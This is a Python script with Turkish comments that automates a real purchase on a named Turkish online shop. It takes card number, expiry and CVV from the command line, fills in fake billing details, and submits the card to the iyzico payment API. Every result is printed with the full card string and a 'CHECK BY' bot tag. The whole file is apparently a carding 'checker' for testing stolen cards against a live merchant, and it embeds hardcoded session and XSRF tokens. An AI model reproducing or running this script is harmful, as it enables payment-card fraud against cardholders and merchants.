import requests
import re
import sys
import time

timestamp_start = time.time()

# Kart bilgilerini al - Format: ?kart=5269110188858080|04|29|001
if len(sys.argv) < 2:
    print("Kullanım: python iyzico4.py KARTNO|AY|YIL|CVV")
    sys.exit(1)

kart_data = sys.argv[1]
kart_bilgileri = kart_data.split('|')

if len(kart_bilgileri) != 4:
    print("Hatalı format. Format: KARTNO|AY|YIL|CVV")
    sys.exit(1)

card_number = kart_bilgileri[0]
expire_month = kart_bilgileri[1]
expire_year = kart_bilgileri[2]
cvc = kart_bilgileri[3]

# Session olustur
session = requests.Session()

# Step 1: GET urun sayfasi
url_product = "https://www.seduras.com/product-page/kad%C4%B1n-bambu-micro-modal-y%C3%BCksek-v-kesim-bel-k%C3%BClot-3-l%C3%BC-set"

headers_get = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language": "tr-TR,tr;q=0.9",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1"
}

response1 = session.get(url_product, headers=headers_get)

# Authorization token'ı parse et (sayfada gömülü olabilir)
auth_match = re.search(r'"accessToken["\']?\s*:\s*["\']([^"\']+)["\']', response1.text)
if auth_match:
    auth_token = auth_match.group(1)
    print(f"Authorization Token bulundu: {auth_token[:50]}...")
else:
    print("Authorization token sayfada bulunamadi, manuel token gerekebilir")
    auth_token = "YHkoDUMNkoF7xgvPBwCFWDksRlykwvdy4Ek2EWg1P_0.eyJpbnN0YW5jZUlkIjoiNWE5NDdkMzYtMjIyMi00NDk5LWJkMzItZjgyZmEyNmE3ZTYwIiwiYXBwRGVmSWQiOiIxMzgwYjcwMy1jZTgxLWZmMDUtZjExNS0zOTU3MWQ5NGRmY2QiLCJtZXRhU2l0ZUlkIjoiZjBmYTU2MTUtZWI5Mi00MDAxLThmMDYtN2Q5MDBiNTNmMmFlIiwic2lnbkRhdGUiOiIyMDI1LTExLTI2VDE5OjM5OjIxLjc4OFoiLCJ2ZW5kb3JQcm9kdWN0SWQiOiJzdG9yZXNfc2lsdmVyIiwiZGVtb01vZGUiOmZhbHNlLCJhaWQiOiI0OTFkZjc2My03ZThmLTQ4NjEtOTNjZi0wMDc0ZDRkMWM4NDMiLCJiaVRva2VuIjoiYWE2ZTJiMjMtYzliMC0wNDk4LTMyMzQtODViZmE5Mzk4Y2NlIiwic2l0ZU93bmVySWQiOiI3ZGJkNjg2Zi00NDAzLTQyOTQtYjcyYS1hOGU2MWZkY2RjOWMiLCJicyI6Ik1HX0UwTW9EcGtlVW5yek5FdVVUTV9Ib01YckF1UWxqUms0LXk3TDVkQTQiLCJzY2QiOiIyMDI0LTA5LTI2VDE2OjA3OjQzLjMzNVoifQ"

# Step 2: POST sepete ekleme
print("\nStep 2 - Sepete ekleme POST isteği...")

url_add_cart = "https://www.seduras.com/_api/ecom-cart/v1/carts/current/add-to-cart"

headers_add_cart = {
    "authorization": auth_token,
    "content-type": "application/json",
    "referer": "https://www.seduras.com/_partials/wix-thunderbolt/dist/clientWorker.502ab4bd.bundle.min.js",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "x-wix-bi-gateway": "environment=js-sdk,package-name=@wix/auto_sdk_ecom_current-cart,method-fqn=com.wix.ecom.cart.api.v1.CurrentCartService.AddToCurrentCart,entity=wix.ecom.v1.cart",
    "x-wix-linguist": "tr|tr-tr|true|5a947d36-2222-4499-bd32-f82fa26a7e60"
}

cart_payload = {
    "lineItems": [
        {
            "catalogReference": {
                "appId": "215238eb-22a5-4c36-9e7b-e7c08025e04e",
                "catalogItemId": "224cb5a6-7fd4-1f51-ff08-2b7fc86b7b91",
                "options": {
                    "variantId": "00000000-0000-0000-0000-000000000000",
                    "options": {
                        "Beden": "M"
                    }
                }
            },
            "quantity": 1
        }
    ]
}

response2 = session.post(url_add_cart, headers=headers_add_cart, json=cart_payload)

print(f"Status Code: {response2.status_code}")

# Cart response'unu parse et
cart_json = response2.json()
cart_id = cart_json.get('cart', {}).get('id', '')
checkout_id = cart_json.get('cart', {}).get('checkoutId', '')

print(f"Cart ID: {cart_id}")
print(f"Checkout ID: {checkout_id}")

# Eger checkout ID yoksa, response'u tam goster
if not checkout_id:
    print(f"\nWARNING: Checkout ID bulunamadi. Full response:\n{response2.text}")
    # Alternatif alanları kontrol et
    if 'checkout' in cart_json:
        checkout_id = cart_json.get('checkout', {}).get('id', '')
        print(f"Alternative Checkout ID found: {checkout_id}")

# Step 3: GraphQL checkout mutation (billing info güncelleme)
print("\nStep 3 - Checkout GraphQL mutation...")

url_graphql = "https://www.seduras.com/graphql-server/graphql"

# Yeni bir authorization token lazım (sepetten sonra yenilenmiş olabilir)
# Şimdilik aynısını kullanıyoruz
auth_token_updated = auth_token

headers_graphql = {
    "accept": "application/json, text/plain, */*",
    "authorization": auth_token_updated,
    "commonconfig": "%7B%22brand%22%3A%22wix%22%2C%22host%22%3A%22VIEWER%22%2C%22BSI%22%3A%22570f1b67-6060-4e8c-a607-f115dcf5f3ba%7C7%22%2C%22siteRevision%22%3A%22143%22%2C%22renderingFlow%22%3A%22NONE%22%2C%22language%22%3A%22tr%22%2C%22locale%22%3A%22tr-tr%22%7D",
    "content-type": "application/json",
    "referer": "https://www.seduras.com/_partials/wix-thunderbolt/dist/clientWorker.502ab4bd.bundle.min.js",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "x-wix-brand": "wix",
    "x-wix-linguist": "tr|tr-tr|true|5a947d36-2222-4499-bd32-f82fa26a7e60"
}

# GraphQL query (çok uzun olduğu için sadece variables'ı değiştiriyoruz)
graphql_payload = {
    "query": "mutation updateCheckout($input: EcomCheckoutV1UpdateCheckoutRequestInput!) { checkoutMutation: ecomCheckoutV1UpdateCheckout(input: $input) { checkout { id billingInfo { contactDetails { firstName lastName phone } address { country city subdivision postalCode addressLine } } } } }",
    "variables": {
        "input": {
            "checkout": {
                "id": checkout_id,  # Sepetten aldığımız checkout_id
                "billingInfo": {
                    "contactDetails": {
                        "firstName": "asdasd",
                        "lastName": "asdasd",
                        "phone": "5328139011"
                    },
                    "address": {
                        "country": "TR",
                        "city": "Başakşehir",
                        "subdivision": "TR-34",
                        "postalCode": "34490",
                        "addressLine": "Asd Kimya Sanayi ve Ticaret Ltd. Şti.asd9as d89sd "
                    }
                }
            },
            "fieldMask": ["billingInfo.contactDetails", "billingInfo.address"]
        }
    },
    "operationName": "updateCheckout"
}

response3 = session.post(url_graphql, headers=headers_graphql, json=graphql_payload)

print(f"Status Code: {response3.status_code}")
print(f"Response: {response3.text[:500]}")

# Step 4: Payment details POST (Iyzico token almak için)
print("\nStep 4 - Payment details POST isteği...")

url_payment_details = "https://www.seduras.com/_api/payment-services-web/payments/v2/payment-details"

# Authorization token'ı güncelle (Step 3'ten sonra yenilenmiş olabilir)
# Gerçek implementasyonda bunu response'dan parse etmek gerekebilir
auth_token_step4 = "P91JKgqDgz0vusr4Yl7fjJqV-d-ZA7Jk4I1fZmurop4.eyJpbnN0YW5jZUlkIjoiNWE5NDdkMzYtMjIyMi00NDk5LWJkMzItZjgyZmEyNmE3ZTYwIiwiYXBwRGVmSWQiOiIxMzgwYjcwMy1jZTgxLWZmMDUtZjExNS0zOTU3MWQ5NGRmY2QiLCJtZXRhU2l0ZUlkIjoiZjBmYTU2MTUtZWI5Mi00MDAxLThmMDYtN2Q5MDBiNTNmMmFlIiwic2lnbkRhdGUiOiIyMDI1LTExLTI2VDE5OjUyOjUzLjYxNloiLCJ2ZW5kb3JQcm9kdWN0SWQiOiJzdG9yZXNfc2lsdmVyIiwiZGVtb01vZGUiOmZhbHNlLCJhaWQiOiI0MzQwNjFiMi1jZDg1LTRhNTEtYjI0MS1kZTRlNDczNmZmNTQiLCJiaVRva2VuIjoiYWE2ZTJiMjMtYzliMC0wNDk4LTMyMzQtODViZmE5Mzk4Y2NlIiwic2l0ZU93bmVySWQiOiI3ZGJkNjg2Zi00NDAzLTQyOTQtYjcyYS1hOGU2MWZkY2RjOWMiLCJicyI6IlVXcEJmdjhBQUxoSUFEYXk4VGNuc2NHX1RPNWxlLXozY0JOWUlXQ2JNOWMiLCJzY2QiOiIyMDI0LTA5LTI2VDE2OjA3OjQzLjMzNVoifQ"

# XSRF token'ı cookie'den al veya manuel set et
xsrf_token = "1764186620|te6J5IZiUFV6"

headers_payment = {
    "accept": "application/json, text/plain, */*",
    "accept-language": "tr-TR,tr;q=0.9",
    "authorization": auth_token_step4,
    "commonconfig": "%7B%22brand%22%3A%22wix%22%2C%22host%22%3A%22VIEWER%22%2C%22BSI%22%3A%2275ce5814-842f-453b-bbcb-d1ae39c211d7%7C1%22%2C%22siteRevision%22%3A%22143%22%2C%22renderingFlow%22%3A%22NONE%22%2C%22language%22%3A%22tr%22%2C%22locale%22%3A%22tr-tr%22%7D",
    "content-type": "application/json",
    "origin": "https://www.seduras.com",
    "referer": f"https://www.seduras.com/checkout?checkoutId={checkout_id}",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "x-wix-brand": "wix",
    "x-wix-client-artifact-id": "cashier-payments-widget",
    "x-xsrf-token": xsrf_token
}

payment_payload = {
    "details": {
        "paymentMethod": "iyzico",
        "billingAddress": {
            "zipCode": "34490",
            "city": "Başakşehir",
            "address": "Asd Kimya Sanayi ve Ticaret Ltd. Şti.asd9as d89sd",
            "countryCode": "TUR",
            "email": "asd12as8das98@asdas.com",
            "firstName": "asdasd",
            "lastName": "asdasd"
        },
        "redirectTarget": "SAME_WINDOW",
        "buyerInfo": {
            "buyerId": "434061b2-cd85-4a51-b241-de4e4736ff54",
            "buyerLanguage": "tr"
        },
        "clientInfo": {
            "deviceFingerprint": "73893f99f5e5fe5b66140db3e182c3f1"
        }
    }
}

response4 = session.post(url_payment_details, headers=headers_payment, json=payment_payload)

print(f"Status Code: {response4.status_code}")
print(f"Response: {response4.text[:800]}")

# Parse payment response
payment_json = response4.json()
details_id = payment_json.get('detailsId', '')
print(f"Details ID: {details_id}")

# Eğer payment token gerekiyorsa, başka bir endpoint'ten alınması gerekebilir
# Şimdilik details_id'yi payment token olarak kullanmayı deneyeceğiz
payment_token = details_id  # veya başka bir field olabilir

# Step 5: GraphQL createOrderAndCharge mutation (Sipariş oluştur ve ödeme al)
print("\nStep 5 - GraphQL createOrderAndCharge mutation...")

url_graphql_charge = "https://www.seduras.com/graphql-server/graphql"

headers_graphql_charge = {
    "accept": "application/json, text/plain, */*",
    "accept-language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
    "authorization": auth_token_step4,
    "commonconfig": "%7B%22brand%22%3A%22wix%22%2C%22host%22%3A%22VIEWER%22%2C%22BSI%22%3A%2275ce5814-842f-453b-bbcb-d1ae39c211d7%7C1%22%2C%22siteRevision%22%3A%22143%22%2C%22renderingFlow%22%3A%22NONE%22%2C%22language%22%3A%22tr%22%2C%22locale%22%3A%22tr-tr%22%7D",
    "content-type": "application/json",
    "origin": "https://www.seduras.com",
    "referer": "https://www.seduras.com/_partials/wix-thunderbolt/dist/clientWorker.502ab4bd.bundle.min.js",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "x-wix-brand": "wix",
    "x-wix-linguist": "tr|tr-tr|true|5a947d36-2222-4499-bd32-f82fa26a7e60"
}

graphql_charge_payload = {
    "query": "mutation createOrderAndCharge($input: EcomCheckoutV1CreateOrderAndChargeRequestInput!) {\n  checkoutMutation: ecomCheckoutV1CreateOrderAndCharge(input: $input) {\n    orderId\n    subscriptionId\n    paymentResponseToken\n    paymentGatewayOrderId\n    checkoutCompleted\n  }\n}",
    "variables": {
        "input": {
            "id": checkout_id,
            "paymentToken": payment_token,
            "savePaymentMethod": False,
            "delayCapture": False,
            "urlParams": {
                "errorUrl": f"https://www.seduras.com/checkout?checkoutId={checkout_id}&redirect=error",
                "cancelUrl": f"https://www.seduras.com/checkout?checkoutId={checkout_id}&redirect=cancel",
                "successUrl": f"https://www.seduras.com/thank-you-page/{{orderId}}?appSectionParams=%7B%22objectType%22%3A%22order%22%2C%22origin%22%3A%22checkout%22%7D",
                "pendingUrl": f"https://www.seduras.com/thank-you-page/{{orderId}}?appSectionParams=%7B%22objectType%22%3A%22order%22%2C%22origin%22%3A%22checkout%22%7D"
            }
        }
    },
    "operationName": "createOrderAndCharge"
}

response5 = session.post(url_graphql_charge, headers=headers_graphql_charge, json=graphql_charge_payload)

print(f"Status Code: {response5.status_code}")

# Parse order response
order_json = response5.json()
payment_response_token = order_json.get('data', {}).get('checkoutMutation', {}).get('paymentResponseToken', '')

if payment_response_token:
    # Base64 decode et
    import base64
    decoded_token = base64.b64decode(payment_response_token).decode('utf-8')
    print(f"Decoded Token: {decoded_token}")
    
    # JSON parse et
    import json
    token_data = json.loads(decoded_token)
    
    iyzico_redirect_url = token_data.get('redirectUrl', '')
    print(f"\nIyzico Redirect URL: {iyzico_redirect_url}")
    
    if iyzico_redirect_url:
        # Step 6: Iyzico checkout formunu al
        print("\nStep 6 - Iyzico checkout formu GET istegi...")
        
        headers_iyzico = {
            "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
            "accept-language": "tr-TR,tr;q=0.9",
            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
        }
        
        response6 = session.get(iyzico_redirect_url, headers=headers_iyzico)
        print(f"Status Code: {response6.status_code}")
        print(f"Response Length: {len(response6.text)} chars")
        
        # Iyzico token'ı bul (response içinde gömülü olabilir)
        iyzico_token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)["\']', response6.text)
        if iyzico_token_match:
            iyzico_token = iyzico_token_match.group(1)
            print(f"Iyzico Token bulundu: {iyzico_token[:50]}...")
            
            # Step 7: Iyzico'ya kart bilgilerini POST et
            print("\nStep 7 - Iyzico odeme POST istegi...")
            
            url_iyzico_payment = "https://api.iyzipay.com/payment/iyzipos/checkoutform/auth/ecom"
            
            headers_iyzico_payment = {
                "accept": "application/json",
                "accept-language": "tr-TR,tr;q=0.9",
                "content-type": "application/json",
                "origin": "https://wix.iyzipay.com",
                "referer": iyzico_redirect_url,
                "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
                "x-iyzi-token": iyzico_token,
                "x-requested-with": "XMLHttpRequest"
            }
            
            # Tutar bilgisini önceki step'lerden almalıyız (1020.44 TRY)
            iyzico_payment_data = {
                "installment": 1,
                "paidPrice": 1020.44,
                "paymentChannel": "WEB",
                "paymentCard": {
                    "cardNumber": card_number,
                    "cardHolderName": "asdasd asdasd",
                    "expireYear": expire_year,
                    "expireMonth": expire_month,
                    "cvc": cvc,
                    "registerConsumerCard": False,
                    "registerCard": 0
                },
                "browserFingerprint": {
                    "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                    "language": "tr",
                    "timezone": -180
                }
            }
            
            response7 = session.post(url_iyzico_payment, headers=headers_iyzico_payment, json=iyzico_payment_data)
            
            print(f"Status Code: {response7.status_code}")
            
            # Response'u parse et
            try:
                iyzico_result = response7.json()
                print(f"Full Iyzico Response: {iyzico_result}")
                
                status = iyzico_result.get('status', '')
                error_message = iyzico_result.get('errorMessage', 'Bilinmeyen hata')
                
                timestamp_end = time.time()
                elapsed = round(timestamp_end - timestamp_start, 1)
                
                # Sonuc formatla (iyzico1, iyzico2, iyzico3 gibi)
                card_info = f"{card_number}|{expire_month}|{expire_year}|{cvc}"
                
                if status == 'success':
                    result_msg = f"BASARILI Islem onaylandi | {card_info} ({elapsed}s) IYZICO4 CHECK BY @aerithiacheck3r_bot"
                    print(f"\n{result_msg}")
                else:
                    # Turkce karakterleri ASCII'ye cevir
                    message = error_message.replace('ı', 'i').replace('ş', 's').replace('ğ', 'g').replace('ü', 'u').replace('ö', 'o').replace('ç', 'c')
                    message = message.replace('İ', 'I').replace('Ş', 'S').replace('Ğ', 'G').replace('Ü', 'U').replace('Ö', 'O').replace('Ç', 'C')
                    result_msg = f"HATA {message} | {card_info} ({elapsed}s) IYZICO4 CHECK BY @aerithiacheck3r_bot"
                    print(f"\n{result_msg}")
                
            except Exception as e:
                print(f"Response: {response7.text[:500]}")
                print(f"Parse error: {str(e)}")
        else:
            # URL'den al
            iyzico_token = iyzico_redirect_url.split('/')[-1].split('?')[0]
            print(f"Iyzico Token URL'den alindi: {iyzico_token}")
    else:
        print("Iyzico redirect URL bulunamadi!")
else:
    print(f"Response: {response5.text[:500]}")
